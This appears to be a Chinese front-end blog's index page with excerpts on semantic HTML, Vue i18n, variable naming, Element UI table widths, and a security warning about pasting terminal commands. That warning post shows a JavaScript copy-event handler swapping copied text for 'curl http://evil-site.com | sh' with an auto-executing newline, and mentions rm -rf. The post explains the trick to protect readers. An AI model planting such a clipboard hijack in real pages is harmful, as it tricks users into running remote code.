发表于 | | 阅读次数:

做前端开发的同学都知道，一个网页的基本组成部分是 HTML，JavaScript 和 CSS。开发人员通常更关注 JavaScript 和 CSS ，实践着各种语言规范和设计模式。对于 HTML 的关注度则明显偏少，只要能做出设计师画的界面就万事大吉了，不怎么去关心 HTML 是不是规范合理。于是下面的情况随处可见：

  • 按钮用的是可点击的 <div> 而不是 <button> 元素
  • 标题用的是 <div> 而不是标题元素 (<h1>，<h2> 等等)
  • <input> 相应的文本标签用的是 <div> 而不是<label>
  • 输入框也用绑定了键盘事件的 <div> ，而不是<input>

看到没？一招 <div> 走天下！这样有没有问题？好像也没什么大问题，毕竟页面看起来符合设计，也能正常交互。但是你想过没有，如果<div>能解决一切，为什么还需要其余几十上百种标签呢？这就要说到 HTML 的语义化了。

阅读全文 »

发表于 | | 阅读次数:

对于用惯了 IDE 的程序员来说，在终端里敲命令可能没那么顺手，也记不住那么多复杂的命令。比较偷懒的做法就是网上搜相关的命令，复制到剪贴板往命令行窗口里一贴，完事！

但是这么做有很大的风险，为什么呢？

网页里复制的东西，可能并不是你看到的内容。请看大屏幕：

1
<div class="copyme">$ echo "伪装成普通命令"</div>
1
2
3
4
5
6
document.getElementById('copyme').addEventListener('copy', function(e) {
  e.clipboardData.setData('text/plain', 
      'curl http://evil-site.com | sh \n' // 复制了真实命令
  );
  e.preventDefault();
});

看到了吧，利用 DOM 的copy事件，可以往剪贴板里放自定义内容。有人可能会说复制了命令我还没回车，不会执行呀！图样图森破，尾巴上带个换行符\n，回车都为你代劳了！

这要是复制上了一些危险的命令，比如rm -rf，mv folder /dev/null 之类的，执行后就爽歪歪了。

所以，为了安全，不要随便往 shell 里粘贴命令。如果一定要复制粘贴，看清楚剪贴板里的内容再执行！

发表于 | | 阅读次数:

Web 项目多语言（i18n，即国际化）是比较常见的需求，常规的做法大概有以下几种：

  1. 每种语言单独开发页面，适用于 CMS 之类的网站
  2. 多语言文本和页面结构分离，运行时动态替换。适用于单页应用（SPA）
  3. 直接用网页翻译插件，机器翻译。这种效果不太理想，同时有一些局限性（后面会讲到）

    问题

    每一种方案都有各自的优点和局限性，具体项目应该根据实际情况选择。最近在工作中碰到的需求是要在现有的项目基础上快速推出多语言版本。项目是基于 Vue.js 开发的，已经迭代过很多版本了。其实一开始是有规划多语言的，也引进了 vue-i18n 插件。这个插件就是上面第二种方案，用 JSON 文件管理多语言的文本资源，在 Vue 组件模板里通过键名引用文本。但是要管理这些英文键名比较麻烦，命名就很头疼。而且阅读代码的时候也很难从键名快速识别出对应的中文。后面发现 VS Code 有相关的插件，可以显示出对应的中文，但是代码找起来还是有点麻烦。再加上产品的多语言版本一直没有提上日程，时间久了就嫌麻烦，慢慢地就直接在模板里写中文了。
    阅读全文 »

发表于 | | 阅读次数:

There are only two hard things in Computer Science: cache invalidation and naming things.
计算机科学领域只有两大难题：缓存失效和命名。
– Phil Karlton

相信不少程序员都为变量命名这个问题伤透了脑筋。变量名太短了别人看不懂，太长了又显得啰嗦，不长不短又考验词汇量，一不留神就跟已有变量名重复。取得一手好名字确实是一个挑战，也是一门艺术。今天我们就来聊聊，到底要怎样命名，才能显示出水平？

不同的编程语言有不同的具体命名规范，通常包含在语言的风格指南里。本文不打算讨论各种语言的代码风格问题，只讨论跟具体语言无关的命名准则。

为什么需要命名规范

从本质上来说，变量名只是个标识符，用于表示内存中的一个地址或者数据。按理说只要符合编程语言的语法规则，无论怎么命名都不会影响代码的执行结果。那为什么我们还要强调命名规范呢？记得有人说过，代码首先是给人看的，其次才是计算机。代码在执行前，通常要经过作者深思熟虑的编写，甚至同行评审（code review）过后，确保没有明显的问题才会交给计算机执行。计算机只负责编译执行，才不管你的代码写得好不好看，有没有逻辑问题，扩展性如何等等。从这个角度说，良好的命名规范可以提高代码质量，减少软件缺陷。

良好的命名具有自文档的作用，看变量名就知道代表什么含义。无论对于团队成员协作还是自己维护代码，都很有意义。否则就会出现下面这种尴尬的局面：

image

什么是好的命名

阅读全文 »

发表于 | | 阅读次数:

背景

Element UI 是 PC 端比较流行的 Vue.js UI 框架，它的组件库基本能满足大部分常见的业务需求。但有时候会有一些定制性比较高的需求，组件本身可能没办法满足。最近在项目里就碰到了。

很多页面都需要用到表格组件el-table。如果没有给el-table-column指定宽度，默认情况下会平均分配给剩余的列。在列数比较多的情况，如果el-table宽度限定在容器内，单元格里的内容就会换行。强制不换行，内容要么在单元格内滚动，要么就会溢出或被截断。

产品想要的效果是：内容保持单行显示，列间距保持一致，表格超出容器允许水平滚动。el-table-column是支持设置固定宽度的，在内容宽度可预知的情况下，也能满足这个需求。问题就在于如何让列宽动态适应内容的宽度。在官方文档也没找到这样的选项，应该是组件本身不支持。

技术方案

于是想到了动态计算内容宽度的方案。网上也有人提过这个思路，做法是根据内容字符数来计算宽度。这种方法有几个局限：

  1. 内容必须是文本
  2. 不同字符宽度不一，结算结果不够准确
  3. 需要在渲染前操作数据，不利于解耦

我采用了另一种思路，还是动态计算内容宽度，但是根据实际渲染后的 DOM 元素宽度，这样就能解决上面三个问题。

阅读全文 »